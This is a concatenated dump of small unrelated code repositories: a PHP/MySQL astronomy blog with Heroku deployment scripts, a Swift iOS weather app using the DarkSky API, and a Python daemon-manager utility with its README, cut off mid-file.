<br> May be this is not a bug. It is a feature. Need archtecture team to make a desicion<br><br> </td> </tr> </table> </form> </div> <div class="blank"></div> <div class="footer"> Copyright (C) wystan 2015 | About Us | Contact Us | Join Us</div> </body> </html>
19ccffde25ec097418d255ca174eae8c6f0308c1
[ "JavaScript", "HTML", "Markdown" ]
6
HTML
oswystan/studyweb
a7d2502b04ad9963171d8cca3a8a1e5270505d41
3833125205fe67c2e181959c72fee38c68909f89
refs/heads/master
<file_sep>#!/bin/bash echo "******** Init database for Production " echo "*** Get Database Environment " # DB_URL=$CLEARDB_DATABASE_URL # DB_URL => mysql://[username]:[password]@[host]/[database name]?reconnect=true DB_URL=$(heroku config | grep CLEARDB_DATABASE_URL | awk '{print $2}') echo $DB_URL re="mysql://([^:]+):([^:@]+)@([^/:@]+)/([^/:@?]+)\?reconnect=true" if [[ $DB_URL =~ $re ]]; then echo "*** Environment OK" echo " username : " ${BASH_REMATCH[1]} echo " password : " ${BASH_REMATCH[2]} echo " host : " ${BASH_REMATCH[3]} echo " database : " ${BASH_REMATCH[4]} USERNAME=${BASH_REMATCH[1]} PASSWORD=${BASH_RE<PASSWORD>[2]} HOST=${BASH_REMATCH[3]} DATABASE=${BASH_REMATCH[4]} else echo "*** WARNING : Environment KO" fi mysql -u$USERNAME -h$HOST -p$PASSWORD $DATABASE < ./init.sql echo "*** Job Done. "<file_sep><?php class Request { // Parameters of the incoming query private $parameters; public function __construct($parameters) { $this->parameters = $parameters; } // Return true if the param exists in the query public function ParamExist($name) { return (isset($this->parameters[$name]) && $this->parameters[$name] != ""); } // Return the value of the param asked // Rise an exception if the param does not exist public function getParam($name) { if($this->ParamExist($name)) { return $this->parameters[$name]; } else { throw new Exception("'$name' parameter does not exist in the query"); } } } <file_sep> <?php $this->title = "Astroclub"; ?> <?php foreach ($articles as $article): ?> <article> <header> <a href="<?php echo './article/' . $this->cleanValue($article['id']); ?>"> <h2 class="titleArticle"> <?php echo $this->cleanValue($article['title']); ?> </h2> </a> </header> <p> <?php echo $this->cleanValue($article['content']); ?> </p> </article> <hr> <?php endforeach; ?> <file_sep>DROP TABLE IF EXISTS T_COMMENT; DROP TABLE IF EXISTS T_ARTICLE;<file_sep><?php require "Framework/Router.class.php"; $router = new Router(); $router->queryRouter(); <file_sep>-- CREATE DATABASE IF NOT EXISTS astroclub CHARACTER SET UTF8 COLLATE UTF8_GENERAL_CI; DROP TABLE IF EXISTS T_COMMENT; DROP TABLE IF EXISTS T_ARTICLE; CREATE TABLE T_ARTICLE ( ARTICLE_ID INTEGER PRIMARY KEY AUTO_INCREMENT, ARTICLE_DATE DATETIME NOT NULL, ARTICLE_IMG VARCHAR(200), ARTICLE_TITLE VARCHAR(100) NOT NULL, ARTICLE_CONTENT TEXT NOT NULL ) ENGINE=INNODB CHARACTER SET utf8 COLLATE utf8_general_ci; CREATE TABLE T_COMMENT ( COM_ID INTEGER PRIMARY KEY AUTO_INCREMENT, COM_DATE DATETIME NOT NULL, COM_AUTHOR VARCHAR(100) NOT NULL, COM_CONTENT VARCHAR(200) NOT NULL, ARTICLE_ID INTEGER NOT NULL, constraint FK_COM_ARTICLE foreign key(ARTICLE_ID) references T_ARTICLE(ARTICLE_ID) ) ENGINE=INNODB CHARACTER SET utf8 COLLATE utf8_general_ci; INSERT INTO T_ARTICLE(ARTICLE_TITLE, ARTICLE_DATE, ARTICLE_IMG, ARTICLE_CONTENT) VALUES ("Curiosity", NOW(), "https://upload.wikimedia.org/wikipedia/commons/thumb/a/a9/Mars_Science_Laboratory_Curiosity_rover.jpg/640px-Mars_Science_Laboratory_Curiosity_rover.jpg", CONCAT("With its rover named Curiosity, Mars Science Laboratory" , "mission is part of NASA's Mars Exploration Program, ", "a long-term effort of robotic exploration of the red planet. ", "Curiosity was designed to assess whether Mars ever had an ", "environment able to support small life forms called microbes. ", "In other words, its mission is ", "to determine the planet's habitability. (source : NASA)")); INSERT INTO T_ARTICLE(ARTICLE_TITLE, ARTICLE_DATE, ARTICLE_IMG, ARTICLE_CONTENT) VALUES ("Hubble", NOW(), "http://news.nationalgeographic.com/news/2009/09/photogalleries/new-hubble-camera-first-pictures/images/primary/090909-01-hubble-new-camera-upgraded_big.jpg", CONCAT("A dusty pillar lit from within by newborn stars ", "is among the first cosmic beauties snapped by the Wide " , "Field Camera 3 (WFC3), a new instrument installed in May ", "during the final servicing mission to refurbish ", "the Hubble Space Telescope. (source : national geographic)")); SELECT ARTICLE_ID into @VAR_ID FROM T_ARTICLE WHERE ARTICLE_TITLE = 'Curiosity'; INSERT INTO T_COMMENT(COM_DATE, COM_AUTHOR, COM_CONTENT, ARTICLE_ID) VALUES (NOW(), 'Eric', 'I hope the mission will succeed !!', @VAR_ID); INSERT INTO T_COMMENT(COM_DATE, COM_AUTHOR, COM_CONTENT, ARTICLE_ID) VALUES (NOW(), 'Me', 'I hope too !', @VAR_ID);<file_sep><?php require "Framework/Configuration.class.php"; /** * * Abstract Class Model * Centralize access to the database * Use PHP PDO API * * @version 1.0 * @author <NAME> */ abstract class Model { // PDO object to access to the database private static $db; // Execute an sql query with potential parameters protected function executeQuery($sql, $params = null) { if ($params == null) { $result = self::getDb()->query($sql); // direct execution } else { $result = self::getDb()->prepare($sql); // prepare query $result->execute($params); } return $result; } // connect to the database and return PDO object, initialize when needed private static function getDb() { if(self::$db == null) { // Retrieval configuration parameters about the DB $hostname = Configuration::get("hostname"); $database = Configuration::get("database"); $username = Configuration::get("username"); $password = Configuration::get("password"); self::$db = new PDO("mysql:host=$hostname;dbname=$database", $username, $password, array(PDO::ATTR_ERRMODE => PDO::ERRMODE_EXCEPTION)); } return self::$db; } } <file_sep><?php require_once "Framework/Request.class.php"; require_once "Framework/View.class.php"; abstract class Controller { // Action to do private $action; //Incoming Request protected $request; // Define incoming request public function setRequest(Request $request) { $this->request = $request; } // Execute action to do public function executeAction($action) { if(method_exists($this, $action)) { $this->action = $action; $this->{$this->action}(); } else { $controllerClass = get_class($this); throw new Exception("Action '$action' undefined inside $controllerClass class"); } } // Abstract method corresponding to default action // Force sub class to implemente it public abstract function index(); //Generate View associate to current Controller protected function generateView($viewData = array()) { // Determine name of the view file from name of current controller $controllerClass = get_class($this); $controllerName = str_replace("Controller", "", $controllerClass); // Instanciation and generation of the view $view = new View($this->action, $controllerName); $view->generate($viewData); } } <file_sep><?php require_once "Framework/Model.class.php"; class Article extends Model { // return the list of articles, sorted by id desc public function getArticles() { $sql = 'SELECT ARTICLE_ID as id, ' . ' ARTICLE_TITLE as title, ' . ' ARTICLE_CONTENT as content ' . 'FROM T_ARTICLE ' . 'ORDER BY ARTICLE_ID desc '; $articles = $this->executeQuery($sql); return $articles; } // return information of a specific article public function getanArticle($idArticle) { $sql = 'SELECT ARTICLE_ID as id, ' . ' ARTICLE_TITLE as title, ' . ' ARTICLE_CONTENT as content ' . 'FROM T_ARTICLE ' . 'WHERE ARTICLE_ID = ? '; $article = $this->executeQuery($sql, array($idArticle)); if($article->rowCount() == 1) { return $article->fetch(); // return the first result } else { throw new Exception("No poem correspond to the id '$idArticle'"); } } } <file_sep><?php class Configuration { private static $parameters; // Return value of a param confing public static function get($name, $defaultValue = null) { if(isset(self::getParam()[$name])) { $value = self::getParam()[$name]; } else { $value = $defaultValue; } return $value; } // Return Array of parameters and load it when needed private static function getParam() { if (self::$parameters == null) { $pathFile = getenv("CLEARDB_DATABASE_URL"); // We are in Dev in local if($pathFile == "") { $pathFile = "Configuration/dev.ini"; if(!file_exists($pathFile)) { throw new Exception("Config Dev file not found"); } else { self::$parameters = parse_ini_file($pathFile); } // We are in prod on Heroku } else { $url = parse_url($pathFile); self::$parameters = array( "hostname" => $url["host"], "username" => $url["user"], "password" => $url["pass"], "database" => substr($url["path"], 1) ); } } return self::$parameters; } } <file_sep><?php require_once "Framework/Request.class.php"; require_once "Framework/View.class.php"; class Router { // Handle an incoming request public function queryRouter() { try { $request = new Request($_REQUEST); $controller = $this->createController($request); $action = $this->createAction($request); $controller->executeAction($action); } catch (Exception $e) { $this->handleError($e); } } // Create the good controller from an incoming request private function createController(Request $request) { $strController = "Index"; // Default Controller if($request->ParamExist('controller')) { $strController = $request->getParam('controller'); // The first letter must be capitalized $strController = ucfirst(strtolower($strController)); } // Name of the class of the controller $controllerClass = "Controller" . $strController; $controllerFile = "Controller/" . $controllerClass . ".class.php"; if(file_exists($controllerFile)) { // We include the good controller file in order to instance it after require $controllerFile; $controller = new $controllerClass(); $controller->setRequest($request); return $controller; } else { throw new Exception("File '$controllerFile' not found");; } } // Determine action to execute from incoming request private function createAction(Request $request) { $action = "Index"; // Default action if($request->ParamExist('action')) { $action = $request->getParam('action'); } return $action; } // Handle an execution error (exception) private function handleError(Exception $exception) { $view = new View("Error"); $view->generate(array("errorMessage" => $exception->getMessage() )); } } <file_sep> <?php $this->title = "<NAME>are Articles"; ?> <p>An error has occured : <?php echo $this->cleanValue($errorMessage); ?></p> <file_sep><?php require_once "Framework/Controller.class.php"; require_once "Framework/View.class.php"; require_once "Model/Comment.class.php"; require_once "Model/Article.class.php"; class ControllerArticle extends Controller { // This attributs represents model objects private $article; private $comment; public function __construct() { $this->article = new Article(); $this->comment = new Comment(); } // Display details about a specific article public function index() { $idArticle = $this->request->getParam("id"); $article = $this->article->getanArticle($idArticle); $comments = $this->comment->getComments($idArticle); $this->generateView(array('article' => $article, 'comments' => $comments)); } // Add a comment to a article public function comment() { $author = $this->request->getParam("author"); $content = $this->request->getParam("txt-comment"); $idArticle = $this->request->getParam("id"); // Save the comment $this->comment->addComment($author, $content, $idArticle); // Update of display $this->executeAction("Index"); } } <file_sep> ; Config for development [DB] hostname = "localhost" username = "gcaggia" password = "" database = "astroclub" [installation] webRoot = "/Astroclub/" ; Config for Prod ; CLEARDB_DATABASE_URL => mysql://[username]:[password]@[host]/[database name]?reconnect=true<file_sep>#!/bin/bash DB_URL=$(heroku config | grep CLEARDB_DATABASE_URL | awk '{print $2}') # [A-Za-z0-9._%+-] re="mysql://([^:]+):([^:@]+)@([^/:@]+)/([^/:@?]+)\?reconnect=true" if [[ $DB_URL =~ $re ]]; then USERNAME=${BASH_REMATCH[1]} PASSWORD=${BASH_<PASSWORD>[2]} HOST=${BASH_REMATCH[3]} DATABASE=${BASH_REMATCH[4]} else echo "Unable to connect... Error..." fi mysql -u$USERNAME -h$HOST -p$PASSWORD $DATABASE<file_sep><?php require_once "Framework/Controller.class.php"; require_once "Framework/View.class.php"; require_once "Model/Article.class.php"; class ControllerIndex extends Controller { // This attribut represents a model object private $article; public function __construct() { $this->article = new Article(); } // Display all the articles of the website public function index() { $articles = $this->article->getArticles(); $this->generateView(array('articles' => $articles)); } } <file_sep><!doctype html> <html lang="en"> <head> <meta charset="UTF-8" /> <base href="<?php echo $webRoot; ?>" > <!--Bootstrap--> <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.6/css/bootstrap.min.css" type="text/css" /> <link rel="stylesheet" href="Content/style.css" /> <title><?php echo $this->cleanValue($title); ?></title> </head> <body> <div id="global"> <header> <div class="container"> <a href="./"><h1 id="titlePage">Astroclub</h1></a> <p>News about astronomy, space mission and science.</p> </div> </header> <div id="content"> <div class="container"> <!-- Content of the webpage --> <?php echo $content; ?> </div> </div> <!-- #content --> <footer class="navbar" id="footerPage"> <div class="container"> <div class="pull-left"> <p><a href="#">Guillaume</a></p> </div> <div class="pull-right"> <p>Website performed with PHP, HTML5 and CSS.</p> </div> </div> </footer> </div> <!-- #global --> </body> </html><file_sep><?php $this->title = "Astroclub - " . $article['title']; ?> <article> <header> <h1 class="titleArticle"> <?php echo $this->cleanValue($article['title']); ?> </h1> </header> <p> <?php echo $this->cleanValue($article['content']) ?> </p> </article> <hr> <header> <h2 id="titleAnswers"> Comments to <?php echo $this->cleanValue($article['title']); ?> </h2> </header> <?php foreach($comments as $comment): ?> <p><?php echo $this->cleanValue($comment['author']); ?></p> <p><?php echo $this->cleanValue($comment['content']); ?></p> <?php endforeach; ?> <form method="post" action="./article/comment"> <input id="author" name="author" type="text" placeholder="Your pseudo" required /> <br> <textarea name="txt-comment" id="txt-comment" cols="30" rows="4" placeholder="Your Comment" required ></textarea> <br> <input type="hidden" name="id" value="Comment" value="<?php echo $this->cleanValue($article['id']); ?>" /> <input type="submit" value="Comment"/> </form> <file_sep><?php class View { // Name of the file linked to the view private $file; // Title of the view (defined inside the view file) private $title; public function __construct($action, $controller = "") { // Setting of the file name from action and constructor $file = "View/"; if($controller != "") { $file = $file . $controller . "/"; } $this->file = $file . "view" . $action . ".php"; } // Clean a value inserted in a html page // Prevention against SQL injection and XSS private function cleanValue($value) { return htmlspecialchars($value, ENT_QUOTES, 'UTF-8', false); } // Generate and display a view public function generate($data) { // Generate the specific part of the view $content = $this->generateFile($this->file, $data); // Because of url rewriting we need a variable to define // the path root of the website $webRoot = Configuration::get("webRoot", "/"); // Generate the commum template using the specific part $view = $this->generateFile("View/template.php", array("title" => $this->title, "content" => $content, "webRoot" => $webRoot)); // Return the view to the browser echo $view; } // Generate a view file and return result private function generateFile($file, $data) { if (file_exists($file)) { // Render $data array's elements accessible to the view extract($data); // Turn on output buffering ob_start(); // Include the view, the result is displayed inside the buffer require $file; // Stop output buffering and return result return ob_get_clean(); } else { throw new Exception("File '$file' not found"); } } } <file_sep><?php require_once "Framework/Model.class.php"; class Comment extends Model { // Return the list of comments from a specific poem public function getComments($idPoem) { $sql = 'SELECT COM_ID as id, ' . ' COM_DATE as date, ' . ' COM_AUTHOR as author, ' . ' COM_CONTENT as content ' . 'FROM T_COMMENT ' . 'WHERE ARTICLE_ID = ? '; $comments = $this->executeQuery($sql, array($idPoem)); return $comments; } // Add a comment to the database public function addComment($author, $content, $idPoem) { $sql = 'INSERT INTO T_COMMENT( COM_DATE, COM_AUTHOR, ' . ' COM_CONTENT, ARTICLE_ID ) ' . 'VALUES (?, ?, ?, ?) '; $dt = date(DATE_W3C); // Get current date $this->executeQuery($sql, array($dt, $author, $content, $idPoem)); } }
7663c3c766e04fd0f714ceb2e2ddc4b43b1a03ef
[ "SQL", "PHP", "Shell", "INI" ]
20
Shell
gcaggia/Astroclub
5bd76d7a82f42ed1074bf8849e9c5486d41f8635
2f8737a8cf4c62ece7d8de869cd7716d5400e262
refs/heads/master
<file_sep>// // CityCoordinates.swift // WeatherApp // // Created by <NAME> on 08/11/2019. // Copyright © 2019 <NAME>. All rights reserved. // import Foundation struct CityCoordinates { static let novosibirsk: (latitude: Double, longitude: Double) = (55.030199,82.920430) static let moscow: (latitude: Double, longitude: Double) = (55.753960,37.620393) static let vladivostok: (latitude: Double, longitude: Double) = (43.116418,131.882475) static let sochi: (latitude: Double, longitude: Double) = (43.585525, 39.723062) static let stPeterburg: (latitude: Double, longitude: Double) = (59.939095, 30.315868) static let kazan: (latitude: Double, longitude: Double) = (55.798551, 49.106324) static let petrozavodsk: (latitude: Double, longitude: Double) = (61.789036, 34.359688) static let suzdal: (latitude: Double, longitude: Double) = (56.419836, 40.449457) static let yaroslavl: (latitude: Double, longitude: Double) = (57.626549, 39.893885) static let velUstug: (latitude: Double, longitude: Double) = (60.760356, 46.305485) static let ekaterenpurg: (latitude: Double, longitude: Double) = (56.838607, 60.605514) static let tver: (latitude: Double, longitude: Double) = (56.859611, 35.911896) static let kaliningrad: (latitude: Double, longitude: Double) = (54.707390, 20.507307) } <file_sep>// // WeatherModel.swift // WeatherApp // // Created by <NAME> on 08/11/2019. // Copyright © 2019 <NAME>. All rights reserved. // import Foundation class WeatherModel{ var temperature: Int var humidity: Int var windSpeed: Int let icon: String? init(array: [String: Any]) { if let temperatureArray = array["temperature"] as? Double{ //(32 °F − 32) × 5/9 = 0 °C let formula: Double = (temperatureArray - 32) * (5/9) temperature = Int(formula) }else{ temperature = 0 } if let humidityArray = array["humidity"] as? Double{ humidity = Int(humidityArray * 100) }else{ humidity = 0 } if let windSpeedArray = array["windSpeed"] as? Double{ windSpeed = Int(windSpeedArray) }else{ windSpeed = 0 } icon = array["icon"] as? String } } <file_sep>// // WeatherService.swift // WeatherApp // // Created by <NAME> on 08/11/2019. // Copyright © 2019 <NAME>. All rights reserved. // import Foundation import Alamofire class WeatherService{ let APIKey: String let baseUrl: URL init(url: URL, APIKey: String) { self.baseUrl = url self.APIKey = APIKey } func getCurrentWeather(latitude: Double, longitude: Double, completion: @escaping (WeatherModel?) -> Void){ let currentUrl = "\(baseUrl)/\(APIKey)/\(latitude),\(longitude)" AF.request(currentUrl).validate().responseJSON { (json) in if let jsonArray = json.value as? [String: Any]{ if let weatherArray = jsonArray["currently"] as? [String: Any]{ let currentWeather = WeatherModel(array: weatherArray) completion(currentWeather) }else{ completion(nil) } } } } } <file_sep>// // ViewController.swift // WeatherApp // // Created by <NAME> on 08/11/2019. // Copyright © 2019 <NAME>. All rights reserved. //Novosibirsk 55.030199 , 82.920430 //https://api.darksky.net/forecast/3e6fea7797b1e8b376a7cf207e2ca764/37.8267,-122.4233 import UIKit class ViewController: UIViewController { @IBOutlet weak var chooseCityPV: UIPickerView! @IBOutlet weak var iconIV: UIImageView! @IBOutlet weak var currentTemperature: UILabel! @IBOutlet weak var currentHumidity: UILabel! @IBOutlet weak var currentWindSpeed: UILabel! private let cities = ["","Новосибирск", "Москва", "Владивосток", "Сочи", "Санкт-Петербург", "Казань", "Петрозаводск", "Суздаль", "Ярославль", "Великий Устюг", "Екатеринбург","Тверь","Калининград"] private var coordinate: (lat: Double, long: Double)? = nil private var activeUI: Bool = true @IBAction func refreshTouch(_ sender: UIButton) { if coordinate == nil{ return } let url = URL(string: "https://api.darksky.net/forecast")! let APIKey = "3e6fea7797b1e8b376a7cf207e2ca764" let weatherService = WeatherService(url: url, APIKey: APIKey) weatherService.getCurrentWeather(latitude: coordinate!.lat, longitude: coordinate!.long) { (WeatherModel) in if self.activeUI{ self.activateUI() self.activeUI = false print(self.activeUI) } self.currentTemperature.text = "\(WeatherModel!.temperature)º" self.currentWindSpeed.text = "\(WeatherModel!.windSpeed) М/C" self.currentHumidity.text = "\(WeatherModel!.humidity) %" let newImg = UIImage(named: "\((WeatherModel?.icon)!)") self.iconIV.image = newImg } } func activateUI(){ iconIV.isHidden = false currentTemperature.isHidden = false currentHumidity.isHidden = false currentWindSpeed.isHidden = false } override func viewDidLoad() { super.viewDidLoad() // Do any additional setup after loading the view. chooseCityPV.dataSource = self chooseCityPV.delegate = self iconIV.isHidden = true currentTemperature.isHidden = true currentHumidity.isHidden = true currentWindSpeed.isHidden = true } } extension ViewController: UIPickerViewDelegate, UIPickerViewDataSource{ func numberOfComponents(in pickerView: UIPickerView) -> Int { return 1 } func pickerView(_ pickerView: UIPickerView, numberOfRowsInComponent component: Int) -> Int { return cities.count } func pickerView(_ pickerView: UIPickerView, didSelectRow row: Int, inComponent component: Int) { switch cities[row] { case "": return case "Новосибирск": coordinate = (CityCoordinates.novosibirsk.latitude, CityCoordinates.novosibirsk.longitude) case "Москва": coordinate = (CityCoordinates.moscow.latitude, CityCoordinates.moscow.longitude) case "Владивосток": coordinate = (CityCoordinates.vladivostok.latitude, CityCoordinates.vladivostok.longitude) case "Сочи": coordinate = (CityCoordinates.sochi.latitude, CityCoordinates.sochi.longitude) case "Санкт-Петербург": coordinate = (CityCoordinates.stPeterburg.latitude, CityCoordinates.stPeterburg.longitude) case "Казань": coordinate = (CityCoordinates.kazan.latitude, CityCoordinates.kazan.longitude) case "Петрозаводск": coordinate = (CityCoordinates.petrozavodsk.latitude, CityCoordinates.petrozavodsk.longitude) case "Суздаль": coordinate = (CityCoordinates.suzdal.latitude, CityCoordinates.suzdal.longitude) case "Ярославль": coordinate = (CityCoordinates.yaroslavl.latitude, CityCoordinates.yaroslavl.longitude) case "<NAME>": coordinate = (CityCoordinates.velUstug.latitude, CityCoordinates.velUstug.longitude) case "Екатеринбург": coordinate = (CityCoordinates.ekaterenpurg.latitude, CityCoordinates.ekaterenpurg.longitude) case "Тверь": coordinate = (CityCoordinates.tver.latitude, CityCoordinates.tver.longitude) case "Калининград": coordinate = (CityCoordinates.kaliningrad.latitude, CityCoordinates.kaliningrad.longitude) default: return } } func pickerView(_ pickerView: UIPickerView, titleForRow row: Int, forComponent component: Int) -> String? { return cities[row] } } /* icon: clear-day clear-night partly-cloudy-day partly-cloudy-night cloudy rain sleet snow wind fog */
24832fbd24e034835a6f1319cf9d1064a19fc561
[ "Swift" ]
4
Swift
KlimkinArtem/WeatherApp
d016a7f08856ac615de3e1bc44f424aba13ddaa4
fb30cc271441a12be8bd32747df6a8ce403d58e3
refs/heads/master
<file_sep># dmgr - Daemon Manager This program will: - Start a daemon process - Read the daemon's master process pid from a file - Makes sure daemon process name matches expected - Keep track of the state of the process - Intercept signals and pass them as commands - Exit when the daemon process exits It is useful for running daemon applications in containers, with or without supervisord. ## Install Clone the repository and install the module dependencies. ```bash # Clone repository git clone https://github.com/anttin/dmgr.git dmgr cd dmgr # optionally create and activate virtual environment python3 -m venv venv-dmgr source venv-dmgr/bin/activate # install dependencies python3 -m pip install -r requirements.txt ``` ## Usage ```shell USAGE: python3 dmgr.py \ [-h|--help] \ -n|--name <main-process-name> \ -p|--pidfile <path-to-pidfile> \ -c|--cmdstart <start-command> \ -C|--cmdstop <stop-command> \ [-w|--waitstart <seconds-to-wait-for-process-to-start>] \ [-W|--waitstop <seconds-to-wait-for-process-to-stop>] \ [-s|--signalcmds <SIGNAL1="command,parameter1,parameter2";...;SIGNALn="...">] \ [-W|--waitstop <seconds-to-wait-for-process-to-stop>] \ [-l|--loglevel <loglevel>] \ ``` `main-process-name` is the name of the daemon's master process, e.g. `master` for postfix. `path-to-pidfile` is the file path to the daemon's pid file, e.g. `/var/spool/postfix/pid/master.pid`. `start-command` is the command used to start the daemon process. Use commas to separate parameters, e.g. `--cmdstart="/usr/sbin/postfix,start"`. Default is 10. `stop-command` is the command used to stop the daemon process. Use commas to separate parameters. Default is 10. `seconds-to-wait-for-process-to-start` is an integer that sets how many seconds the program will wait for the daemon to start properly. This value is also used for waiting commands to finish during state transitions. `seconds-to-wait-for-process-to-stop` is an integer that sets how many seconds the program will wait for the daemon to stop properly. `signalcmds` is a semicolon separated list of key-value-pairs, where the key is the name (or integer value) of the signal (e.g. `SIGHUP` or `1`) and the value is the command to execute when the signal is caught. `passthrough` is a semicolon separated list of key-value-pairs, where the key is the name (or integer value) of the signal (e.g. `SIGHUP` or `1`) to listen, and the value is the name of the signal to pass for the daemon provess. The value can be omitted if it is the same as the key. `loglevel` is the logging level. Default is `INFO`. <file_sep>#!/bin/sh if [ "$1" == "start" ]; then echo "starting" if [ -z "$2" ]; then T=120 else T=$2 fi sleep $T & PID=$! echo $PID >pid.txt echo "started $PID" elif [ "$1" == "stop" ]; then echo "stopping" PID=$(cat pid.txt) LST=$(pgrep sleep) for P in $LST; do echo $PID $P if [ "$PID" == "$P" ]; then echo "terminate it" kill $PID break fi done else echo "command missing" fi echo "end" <file_sep>import datetime import logging import logging.handlers import psutil import queue import signal import subprocess import sys import time from anoptions import Parameter, Options from enum import Enum class ExpectedOutcome(Enum): PROCESS_RUNNING = 1 PROCESS_STOPPED = 2 class DaemonManager(object): def __init__(self, config, logger): self.pidfile = config["pidfile"] self.processname = config["processname"].lower() self.config = config self.logger = logger self.signal_queue = queue.Queue() self.signal_commands = {} self.exit_signals = [ signal.SIGINT, signal.SIGTERM ] self.check_if_already_running() self.process_config() @staticmethod def get_process(pid): # Will return psutil.Process for pid, and None if pid is not found try: p = psutil.Process(pid) return p except psutil.NoSuchProcess: return None @staticmethod def file_exists(filename): import os return filename is not None and os.path.exists(filename) and os.path.isfile(filename) @staticmethod def load_text(filename): result = None if filename == '-': import sys f = sys.stdin else: f = open(filename, 'r', encoding='utf8') with f as file: result = file.read() return result @staticmethod def is_proc_running(proc): # Will return True if psutil.Process is running try: if proc.is_running() is True and proc.status() != psutil.STATUS_ZOMBIE: return True except (psutil.NoSuchProcess): pass return False @staticmethod def start_subprocess(command_string, **kwargs): # Starts and returns a subprocess try: subproc = subprocess.Popen(command_string.split(","), **kwargs) except FileNotFoundError: return None return subproc def run_cmd_and_wait(self, cmd, pidfile, waittime, expected_outcome): if self.file_exists(pidfile): old_pid = int(self.load_text(pidfile).strip()) else: old_pid = None dttimeout = datetime.datetime.now()+datetime.timedelta(seconds=waittime) proc = None new_pid = None # Run the command (if we have one), None is an option here too # to enable checking an already started transition if cmd is not None: cmd_subproc = self.start_subprocess(cmd, stdout=sys.stdout) if cmd_subproc is None: return False cmd_proc = self.get_process(cmd_subproc.pid) else: cmd_subproc = None cmd_proc = None # Wait for process to transition while datetime.datetime.now() < dttimeout: if expected_outcome == ExpectedOutcome.PROCESS_RUNNING: r = cmd_subproc.poll() # Look for a new pid in pidfile in case of restart if new_pid is None and self.file_exists(pidfile): pid = int(self.load_text(pidfile).strip()) if pid != old_pid or r is not None: new_pid = pid elif expected_outcome == ExpectedOutcome.PROCESS_STOPPED: proc = self.get_process(old_pid) if proc is None: # Process is stopped break # Look for new process if we have the pid if new_pid is not None: proc = self.get_process(new_pid) if proc is not None: # Got the new process running break time.sleep(0.5) # Check for timeout if datetime.datetime.now() >= dttimeout: return False pid = None while datetime.datetime.now() < dttimeout: if expected_outcome == ExpectedOutcome.PROCESS_RUNNING: # Make sure process is running until "timeout" if pid is None: pid = int(self.load_text(pidfile).strip()) proc = self.get_process(old_pid) if proc is None: # Process is not running return False else: if self.is_proc_running(cmd_proc) is False: break time.sleep(0.5) # Ensure command process is or will be exited if cmd_subproc is not None: if self.is_proc_running(cmd_proc) is True: self.logger.info("Command process is still running, sending SIGTERM") cmd_subproc.terminate() cmd_subproc.wait(timeout=3) if self.is_proc_running(cmd_proc) is True: self.logger.info("Command process is still running, sending SIGKILL") cmd_subproc.kill() # We should know the outcome for a stopping process at this time if expected_outcome == ExpectedOutcome.PROCESS_STOPPED: proc = self.get_process(old_pid) return (proc is None) # Transition finished succesfully return True ################################################################################## def signal_handler(self, signum, frame): sig = signal.Signals(signum) self.logger.info('Signal {} detected'.format(sig.name)) self.signal_queue.put_nowait((sig, frame)) def get_pid_info(self): if self.file_exists(self.pidfile): pid = int(self.load_text(self.pidfile).strip()) return self.get_process(pid) else: return None def check_if_already_running(self): if self.file_exists(self.pidfile): p = self.get_pid_info() if p is not None: if p.name().lower() == self.processname: self.logger.info("Process in pidfile is already running -- exiting") sys.exit(1) import os os.remove(self.pidfile) self.logger.info("Removed old pidfile") def process_config(self): self.signal_lookup = {} # Collect all valid signals into a lookup dict for x in signal.valid_signals(): try: self.signal_lookup[x.name] = x self.signal_lookup[str(x.value)] = x except AttributeError: self.signal_lookup[str(x)] = x # Parse passthrough-input for signal passthrough mappings self.passthroughmap = {} if "passthrough" in self.config: for x in self.config["passthrough"].split(';'): y = x.split('=') if len(y) not in (1, 2): self.logger.critical("Invalid signal passthrough configuration (syntax) -- exiting") sys.exit(1) if len(y) == 1: y.append(y[0]) sig_in, sig_out = y if sig_in in self.signal_lookup and sig_out in signal_lookup: self.passthroughmap[self.signal_lookup[sig_in]] = self.signal_lookup[sig_out] else: self.logger.critical("Invalid signal passthrough configuration (unknown signal) -- exiting") if self.signal_lookup[sig_in] == signal.SIGINT: self.exit_signals.remove(signal.SIGINT) self.logger.warn("Passthrough for SIGINT defined -- you will not be able to stop this program with Ctrl-C".format(sig_in)) if "stopcmd" in self.config: for sig in (signal.SIGTERM, signal.SIGINT): if sig not in self.passthroughmap.keys(): self.signal_commands[sig] = self.config["stopcmd"] else: self.logger.info("Passthrough for {} defined together with stopcmd -- will use passthrough".format(sig)) # Parse input for signals if "signals" in self.config: for x in self.config["signals"].split(';'): y = x.split('=') if len(y) != 2: self.logger.critical("Invalid signal configuration -- exiting") sys.exit(1) sig, cmd = y if sig in self.signal_lookup: if self.signal_lookup[sig] in (signal.SIGKILL, signal.SIGTSTP): self.logger.critical("Impossible to hook to signal {} -- exiting".format(sig)) sys.exit(1) if self.signal_lookup[sig] == signal.SIGTERM and "stopcmd" in d: self.logger.warn("Both stopcmd and signalcmd for {} defined -- will use stopcmd".format(sig)) continue if self.signal_lookup[sig] == signal.SIGINT: exit_signals.remove(signal.SIGINT) self.logger.warn("Command for SIGINT defined -- you will not be able to stop this program with Ctrl-C".format(sig)) if self.signal_lookup[sig] in self.passthroughmap.keys(): self.logger.warn("Both passthrough and signalcmd for {} defined -- will use passthrough".format(sig)) continue self.signal_commands[self.signal_lookup[sig]] = cmd else: self.logger.critical("Unknown signal {} -- exiting".format(sig)) sys.exit(1) # Register signals for sig, cmd in self.signal_commands.items(): signal.signal(sig, self.signal_handler) self.logger.info("Registered signal {} with command '{}'".format(sig.name, cmd)) # Register passthrough mappings for sig_in, sig_out in self.passthroughmap.items(): signal.signal(sig_in, self.signal_handler) self.logger.info("Registered signal {} with passthrough using signal {}".format(sig_in.name, sig_out.name)) def run(self): self.logger.info("Starting process") status = self.run_cmd_and_wait( self.config["startcmd"], self.pidfile, self.config["waitstart"], ExpectedOutcome.PROCESS_RUNNING ) if status is True: self.logger.info("Process is running after {} seconds".format(self.config["waitstart"])) else: self.logger.critical("Failed to start process -- exiting") sys.exit(1) class StartExit(Exception): def __init__(self, cmd): self.cmd = cmd main_pid = None main_proc = None stopcmd = None try: while True: try: sig, frame = self.signal_queue.get(block=True, timeout=1) # Got a signal within the queue get timeout limits, let's process it if sig in self.passthroughmap.keys(): self.logger.info("Passthrough signal as {}".format(self.passthroughmap[sig].name)) effective_signal = self.passthroughmap[sig] main_proc.send_signal(effective_signal) excmd = None else: effective_signal = sig excmd = self.signal_commands[sig] self.logger.info("Run command: {}".format(excmd)) if effective_signal in self.exit_signals: raise StartExit(excmd) if excmd is not None: status = self.run_cmd_and_wait( excmd, 